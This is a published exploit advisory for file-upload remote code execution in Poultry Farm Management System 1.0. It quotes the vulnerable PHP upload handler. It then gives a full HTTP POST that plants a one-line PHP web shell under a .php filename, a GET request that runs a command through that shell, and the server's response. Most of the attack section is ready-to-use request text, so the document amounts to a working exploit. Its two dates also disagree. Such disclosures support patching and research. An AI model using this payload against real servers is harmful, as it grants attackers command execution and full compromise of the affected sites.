Poultry Farm Management System 1.0 Shell Upload

`# Title: Poultry Farm Management System 1.0 Remote Code Execution (RCE)  
# Author: Hejap Zairy  
# Date: 20.07.2022  
# Vendor: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
```php  
if(isset($_POST['submit']))  
{  
$adminid=$_SESSION['odmsaid'];  
$productname=$_POST['productName'];  
$productimage1=$_FILES["productimage1"]["name"];  
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"profileimages/".$_FILES["productimage1"]["name"]);  
$sql="update tbladmin set Photo=:productimage1 where ID=:aid";  
$query = $dbh->prepare($sql);  
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);  
$query->bindParam(':aid',$pid,PDO::PARAM_STR);  
$query->execute();  
$_SESSION['msg']="profile Image Updated Successfully !!";  
}  
?>  
```  
  
  
[+] Payload POST  
  
  
```  
POST /Redcock-Farm/farm/update_image.php?id=2 HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738  
Content-Length: 882  
Origin: https://0day.gov  
Referer: https://0day.gov/Redcock-Farm/farm/update_image.php?id=2  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productName"  
Hejap Zairy  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="submit"  
-----------------------------409902128312379197203124536738--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /Redcock-Farm/farm/profileimages/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Sun, 20 Mar 2022 08:04:28 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 17  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
0day hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
https://i.imgur.com/uZfnU3c.png  
`